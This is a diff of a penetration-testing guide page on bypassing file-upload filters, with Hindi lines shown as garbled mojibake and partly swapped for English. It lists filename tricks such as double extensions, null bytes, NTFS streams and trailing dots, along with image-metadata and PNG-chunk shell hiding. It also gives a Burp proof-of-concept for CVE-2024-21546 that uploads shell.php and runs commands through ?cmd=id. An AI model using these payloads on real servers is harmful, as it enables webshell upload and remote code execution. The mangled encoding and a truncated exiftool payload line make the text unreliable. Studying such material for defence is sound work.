+3. рдЕрдВрдд рдореЗрдВ **special characters** рдЬреЛрдбрд╝рдХрд░ рднреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рдЖрдк Burp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рднреА **ascii** рдФрд░ **Unicode** characters рдХреЛ **bruteforce** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (_Note that you can also try to use the **previously** motioned **extensions**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
-4. рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкрд╛рд░реНрд╕рд░ рдХреЛ рдлрдБрд╕рд╛рдХрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдЗрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ, рдЬреИрд╕реЗ **doubling** the **extension** рдпрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рдиреНрд╕ рдХреЗ рдмреАрдЪ **junk** рдбреЗрдЯрд╛ (рдЬреИрд╕реЗ **null** рдмрд╛рдЗрдЯреНрд╕) рдЬреЛрдбрд╝рдирд╛ред _рдЖрдк рдмреЗрд╣рддрд░ payload рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **previous extensions** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ._
+4. рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдХреЗ extension parser рдХреЛ рдзреЛрдЦрд╛ рджреЗрдХрд░ protections рдХреЛ рдмрд╛рдИрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ, рдЬреИрд╕реЗ рдХрд┐ **doubling** the **extension** рдпрд╛ extensions рдХреЗ рдмреАрдЪ **junk data** (**null** bytes) рдбрд╛рд▓рдирд╛ред _You can also use the **previous extensions** to prepare a better payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@@ -40,13 +40,13 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
-5. рдкрд┐рдЫрд▓реА рдЬрд╛рдБрдЪ рдореЗрдВ **рдПрдХ рдФрд░ рд▓реЗрдпрд░** extensions рдЬреЛрдбрд╝реЗрдВ:
+5. рдкрд┐рдЫрд▓реЗ рдЪреЗрдХ рдореЗрдВ **рдПрдХ рдФрд░ рд▓реЗрдпрд░** рдЬреЛрдбрд╝реЗрдВ:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
-6. рд╡реИрдз рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реЗ рдкрд╣рд▓реЗ **exec extension** рд░рдЦрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдФрд░ рдЖрд╢рд╛ рдХрд░реЗрдВ рдХрд┐ server misconfigured рд╣реЛред (Apache misconfigurations рдХреЛ exploit рдХрд░рдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдЬрд╣рд╛рдБ рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓ рдЬрд┐рд╕рдХрд╛ extension `.php` рд╣реИ, рдкрд░ рдЬрд░реВрд░реА рдирд╣реАрдВ рдХрд┐ рд╡рд╣ `.php` рдкрд░ рдЦрддреНрдо рд╣реЛ, code execute рд╣реЛ рдЬрд╛рдПрдЧрд╛):
+6. рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдХрд┐ **exec extension рдХреЛ valid extension рд╕реЗ рдкрд╣рд▓реЗ рд░рдЦ рджреЗрдВ** рдФрд░ рдЙрдореНрдореАрдж рдХрд░реЗрдВ рдХрд┐ рд╕рд░реНрд╡рд░ misconfigured рд╣реЛред (Apache misconfigurations рдХреЛ exploit рдХрд░рдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдЬрд╣рд╛рдБ рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХрд╛ extension **.php** рд╣реИ рдкрд░ рдЬрд░реВрд░реА рдирд╣реАрдВ рдХрд┐ filename `.php` рдкрд░ рдЦрддреНрдо рд╣реЛ тАФ рддрдм code execute рд╣реЛ рд╕рдХрддрд╛ рд╣реИ):
- _ex: file.php.png_
-7. **NTFS alternate data stream (ADS)** рдХрд╛ рдЙрдкрдпреЛрдЧ **Windows** рдореЗрдВред рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рдПрдХ colon character ":" рдирд┐рд╖рд┐рджреНрдз extension рдХреЗ рдмрд╛рдж рдФрд░ рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдПрдХ extension рдХреЗ рдкрд╣рд▓реЗ рдбрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛ред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ **рдЦрд╛рд▓реА рдлрд╝рд╛рдЗрд▓ рдЬрд┐рд╕рдкрд░ рдирд┐рд╖рд┐рджреНрдз extension рд╣реЛрдЧрд╛** рдмрди рдЬрд╛рдПрдЧреА (рдЙрджрд╛. "file.asax:.jpgтАЭ). рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдмрд╛рдж рдореЗрдВ рдЕрдиреНрдп рддрдХрдиреАрдХреЛрдВ рдХреЗ рдЬрд░рд┐рдП рд╕рдВрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдЗрд╕рдХрд╛ short filename рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рдкреИрдЯрд░реНрди "**::$data**тАЭ рдХрд╛ рдЙрдкрдпреЛрдЧ non-empty рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдкреИрдЯрд░реНрди рдХреЗ рдмрд╛рдж рдПрдХ dot character рдЬреЛрдбрд╝рдирд╛ рднреА рдЖрдЧреЗ рдХреА рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЙрджрд╛. "file.asp::$data.тАЭ)
-8. рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдХреА рд╕реАрдорд╛рдПрдБ рддреЛрдбрд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рд╡реИрдз extension рдХрдЯ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ malicious PHP рдмрдЪ рдЬрд╛рддрд╛ рд╣реИред AAA<--SNIP-->AAA.php
+7. **Windows** рдореЗрдВ **NTFS alternate data stream (ADS)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЗрд╕ рдХреЗрд╕ рдореЗрдВ, forbidden extension рдХреЗ рдмрд╛рдж рдФрд░ permitted extension рд╕реЗ рдкрд╣рд▓реЗ colon character ":" рдбрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛ред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ **empty file with the forbidden extension** рдмрди рд╕рдХрддреА рд╣реИ (рдЙрджрд╛. "file.asax:.jpgтАЭ). рдмрд╛рдж рдореЗрдВ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЕрдиреНрдп techniques рд╕реЗ edit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдЙрд╕рдХреА short filename рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред "**::$data**тАЭ pattern рдХрд╛ рдЙрдкрдпреЛрдЧ non-empty files рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ pattern рдХреЗ рдмрд╛рдж dot character рдЬреЛрдбрд╝рдирд╛ рдЖрдЧреЗ рдХреА restrictions рдмрд╛рдИрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЙрджрд╛. "file.asp::$data.тАЭ)
+8. filename limits рддреЛрдбрд╝рдХрд░ рджреЗрдЦреЗрдВред valid extension рдХрдЯ рдЬрд╛рддреА рд╣реИ рдФрд░ malicious PHP рдмрдЪ рдЬрд╛рддрд╛ рд╣реИред AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) тАУ CVE-2024-21546
-рдХреБрдЫ upload handlers рд╕реЗрд╡ рдХрд┐рдП рдЧрдП filename рд╕реЗ trailing dot characters рдХреЛ trim рдпрд╛ normalize рдХрд░ рджреЗрддреЗ рд╣реИрдВред UniSharpтАЩs Laravel Filemanager (unisharp/laravel-filemanager) рдХреЗ 2.9.1 рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ, рдЖрдк extension validation рдХреЛ рдирд┐рдореНрди рддрд░реАрдХреЛрдВ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
+рдХреБрдЫ upload handlers saved filename рд╕реЗ trailing dot characters рдХреЛ trim рдпрд╛ normalize рдХрд░ рджреЗрддреЗ рд╣реИрдВред UniSharpтАЩs Laravel Filemanager (unisharp/laravel-filemanager) рдХреЗ versions 2.9.1 рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдк extension validation рдХреЛ рдмрд╛рдИрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
-- рдПрдХ рд╡реИрдз image MIME рдФрд░ magic header рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдЙрджрд╛., PNG рдХрд╛ `\x89PNG\r\n\x1a\n`).
-- рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо PHP extension рдХреЗ рдмрд╛рдж рдПрдХ dot рд▓рдЧрд╛рдХрд░ рджреЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `shell.php.`.
-- рд╕рд░реНрд╡рд░ trailing dot рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИ рдФрд░ `shell.php` рдХреЛ persist рдХрд░рддрд╛ рд╣реИ, рдЬреЛ execute рд╣реЛрдЧрд╛ рдпрджрд┐ рдпрд╣ рдХрд┐рд╕реА web-served directory рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реЛ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ public storage рдЬреИрд╕реЗ `/storage/files/`).
+- рдПрдХ рд╡реИрдз image MIME рдФрд░ magic header рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ (рдЙрджрд╛., PNG рдХрд╛ `\x89PNG\r\n\x1a\n`)ред
+- рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо PHP extension рдХреЗ рдмрд╛рдж рдПрдХ dot рдХреЗ рд╕рд╛рде рд░рдЦрдирд╛, рдЬреИрд╕реЗ `shell.php.`ред
+- рд╕рд░реНрд╡рд░ trailing dot рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИ рдФрд░ `shell.php` рдХреЛ persist рдХрд░ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдХрд┐ web-served directory (default public storage рдЬреИрд╕реЗ `/storage/files/`) рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реЛ рддреЛ execute рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
-рдиреНрдпреВрдирддрдо PoC (Burp Repeater):
+Minimal PoC (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
@@ -80,65 +80,65 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n
------WebKitFormBoundary--
```
-рдлрд┐рд░ saved path рдкрд░ рд╣рд┐рдЯ рдХрд░реЗрдВ (Laravel + LFM рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп):
+рдлрд┐рд░ saved path рдХреЛ рд╣рд┐рдЯ рдХрд░реЗрдВ (Laravel + LFM рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп):
```
GET /storage/files/0xdf.php?cmd=id
```
-рд░реЛрдХрдерд╛рдо:
-- unisharp/laravel-filemanager рдХреЛ тЙе 2.9.1 рдореЗрдВ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред
-- рд╕рдЦреНрдд server-side allowlists рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдФрд░ persisted filename рдХреЛ рдкреБрдирдГ рдорд╛рдиреНрдп (re-validate) рдХрд░реЗрдВред
-- uploads рдХреЛ non-executable рд╕реНрдерд╛рдиреЛрдВ рд╕реЗ рд╕рд░реНрд╡ рдХрд░реЗрдВред
+Mitigations:
+- Upgrade unisharp/laravel-filemanager to тЙе 2.9.1.
+- Enforce strict server-side allowlists and re-validate the persisted filename.
+- Serve uploads from non-executable locations.
-### Content-Type, Magic Number, Compression & Resizing рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛
+### Bypass Content-Type, Magic Number, Compression & Resizing
-- **Content-Type** checks рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **Content-Type** **header** рдХреЗ **value** рдХреЛ рд╕реЗрдЯ рдХрд░реЗрдВ: _image/png_ , _text/plain , application/octet-stream_
+- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
-- **magic number** check рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╛рдЗрд▓ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ image рдХреЗ **bytes** рдЬреЛрдбрд╝реЗрдВ (рдлрд╛рдЗрд▓ рдХрдорд╛рдВрдб _file_ рдХреЛ confuse рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП)ред рдпрд╛ shell рдХреЛ **metadata** рдХреЗ рдЕрдВрджрд░ рдбрд╛рд▓реЗрдВ:\
+- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
`exiftool -Comment="' >> img.png`
-- рдпрджрд┐ рдЖрдкрдХреА image рдкрд░ **compressions** рдЬреЛрдбрд╝реА рдЬрд╛ рд░рд╣реА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП PHP-GD рдЬреИрд╕реА рдорд╛рдирдХ PHP рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рддреЛ рдкрд┐рдЫрд▓реЗ techniques рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд╣реЛрдВрдЧреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдХреБрдЫ рдЯреЗрдХреНрд╕реНрдЯ insert рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **compression рд╕реЗ рдмрдЪ рдЬрд╛рдП**ред
+- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- рд╡реЗрдм рдкреЗрдЬ image рдХреЛ **resizing** рднреА рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП PHP-GD рдХреА `imagecopyresized` рдпрд╛ `imagecopyresampled` рдлрдВрдХреНрд╢рдиреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдЯреЗрдХреНрд╕реНрдЯ insert рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **compression рд╕реЗ рдмрдЪ рдЬрд╛рдП**ред
+- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- рдПрдХ рдФрд░ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕рд╕реЗ payload **image resizing** рдХреЗ рдмрд╛рдж рднреА рдмрдЪ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ PHP-GD рдХреЗ `thumbnailImage` рдлрдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдРрд╕рд╛ рдЯреЗрдХреНрд╕реНрдЯ insert рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **compression рд╕реЗ рдмрдЪ рдЬрд╛рдП**ред
+- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
-### рдЕрдиреНрдп рдЬрд╛рдВрдЪрдиреЗ рдпреЛрдЧреНрдп рддрд░рдХреАрдмреЗрдВ
+### Other Tricks to check
-- рдкрд╣рд▓реЗ рд╕реЗ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╛рдЗрд▓ рдХрд╛ **rename** рдХрд░рдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ vulnerability рдЦреЛрдЬреЗрдВ (extension рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП)ред
-- backdoor execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ **Local File Inclusion** vulnerability рдЦреЛрдЬреЗрдВред
-- **рд╕рдВрднрд╛рд╡рд┐рдд рд╕реВрдЪрдирд╛-рдкреНрд░рдХрдЯреАрдХрд░рдг**:
-1. рдПрдХ рд╣реА рдлрд╛рдЗрд▓ рдХреЛ **рдХрдИ рдмрд╛рд░** (рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ) **рдЙрд╕реА рдирд╛рдо** рдХреЗ рд╕рд╛рде upload рдХрд░реЗрдВред
-2. рдРрд╕реА рдлрд╛рдЗрд▓ upload рдХрд░реЗрдВ рдЬрд┐рд╕рдХрд╛ **name** рдХрд┐рд╕реА рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж **file** рдпрд╛ **folder** рдЬреИрд╕рд╛ рд╣реЛред
-3. рдРрд╕реА рдлрд╛рдЗрд▓ upload рдХрд░рдирд╛ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо **"."**, ".." рдпрд╛ "..." рдЬреИрд╕рд╛ рд╣реЛред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Apache рдореЗрдВ **Windows** рдкрд░ рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди "/www/uploads/" рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдЕрдкрд▓реЛрдб рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕реЗрд╡ рдХрд░рддрд╛ рд╣реИ, рддреЛ "." рдирд╛рдо рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓ "/www/" рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ "uploads" рдирд╛рдо рдХреА рдлрд╝рд╛рдЗрд▓ рдмрдирд╛ рджреЗрдЧреАред
-4. рдРрд╕реА рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ delete рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреИрд╕реЗ **"тАж:.jpg"** NTFS рдореЗрдВред (Windows)
-5. **Windows** рдореЗрдВ рдирд╛рдо рдореЗрдВ рдЕрд╡реИрдз characters рдЬреИрд╕реЗ `|<>*?тАЭ` рдХреЗ рд╕рд╛рде рдлрд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред (Windows)
-6. **Windows** рдореЗрдВ reserved (forbidden) names рдЬреИрд╕реЗ CON, PRN, AUX, NUL, COM1 тАж COM9, LPT1 тАж LPT9 рдЖрджрд┐ рдХреЗ рд╕рд╛рде рдлрд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред
-- рдпрд╣ рднреА рдЖрдЬрд╝рдорд╛рдПрдБ рдХрд┐ рдХреЛрдИ **executable** (.exe) рдпрд╛ рдХреЛрдИ **.html** (рдХрдо рд╕рдВрджрд┐рдЧреНрдз) рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдЬреЛ victim рджреНрд╡рд╛рд░рд╛ рдЧрд▓рддреА рд╕реЗ рдЦреЛрд▓реЗ рдЬрд╛рдиреЗ рдкрд░ рдХреЛрдб execute рдХрд░ рджреЗред
+- Find a vulnerability to **rename** the file already uploaded (to change the extension).
+- Find a **Local File Inclusion** vulnerability to execute the backdoor.
+- **Possible Information disclosure**:
+1. рдПрдХ рд╣реА рдлрд╛рдЗрд▓ рдХреЛ **рдХрдИ рдмрд╛рд░** (рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдкрд░) рдПрдХ рд╣реА **рдирд╛рдо** рд╕реЗ upload рдХрд░реЗрдВ
+2. рдРрд╕реА рдлрд╛рдЗрд▓ upload рдХрд░реЗрдВ рдЬрд┐рд╕рдХрд╛ **name** рдХрд┐рд╕реА рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж **file** рдпрд╛ **folder** рдЬреИрд╕рд╛ рд╣реЛ
+3. рдлрд╛рдЗрд▓ рдХрд╛ рдирд╛рдо **".", "..", рдпрд╛ "..."** рд░рдЦреЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Apache рдореЗрдВ **Windows** рдкрд░, рдпрджрд┐ application рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╛рдЗрд▓реЛрдВ рдХреЛ "/www/uploads/" directory рдореЗрдВ рд╕реЗрд╡ рдХрд░рддрд╛ рд╣реИ, рддреЛ "." filename "/www/" directory рдореЗрдВ "uploads" рдирд╛рдо рдХреА рдПрдХ рдлрд╛рдЗрд▓ рдмрдирд╛ рджреЗрдЧрд╛ред
+4. рдРрд╕реА рдлрд╛рдЗрд▓ upload рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ delete рди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреИрд╕реЗ **"...:.jpg"** in **NTFS**. (Windows)
+5. **Windows** рдореЗрдВ рдРрд╕реЗ invalid characters рд╡рд╛рд▓реЗ рдирд╛рдо рд╕реЗ рдлрд╛рдЗрд▓ upload рдХрд░реЗрдВ рдЬреИрд╕реЗ `|<>*?тАЭ`ред (Windows)
+6. **Windows** рдореЗрдВ reserved (forbidden) рдирд╛рдореЛрдВ рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдХреЗ рдлрд╛рдЗрд▓ upload рдХрд░реЗрдВ рдЬреИрд╕реЗ CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
+- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
### Special extension tricks
-рдпрджрд┐ рдЖрдк **PHP server** рдкрд░ рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ [рдХреЛрдб execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **.htaccess** trick рджреЗрдЦреЗрдВ](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
-рдпрджрд┐ рдЖрдк **ASP server** рдкрд░ рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ [рдХреЛрдб execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **.config** trick рджреЗрдЦреЗрдВ](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
+If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
-`.phar` рдлрд╛рдЗрд▓реЗрдВ java рдХреЗ `.jar` рдХреА рддрд░рд╣ рд╣реЛрддреА рд╣реИрдВ, рдкрд░ php рдХреЗ рд▓рд┐рдП, рдФрд░ рдЗрдиреНрд╣реЗрдВ php рдлрд╝рд╛рдЗрд▓ рдХреА рддрд░рд╣ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (php рд╕реЗ execute рдХрд░рдирд╛, рдпрд╛ рдХрд┐рд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ include рдХрд░рдирд╛...)ред
+The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
-`.inc` extension рдХрднреА-рдХрднрд╛рд░ php рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ import рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЛрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдХрд┐рд╕реА рд╕рдордп рдХрд┐рд╕реА рдиреЗ рдЗрд╕ extension рдХреЛ execute рд╣реЛрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рджреА рд╣реЛ рд╕рдХрддреА рд╣реИред
+The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
## **Jetty RCE**
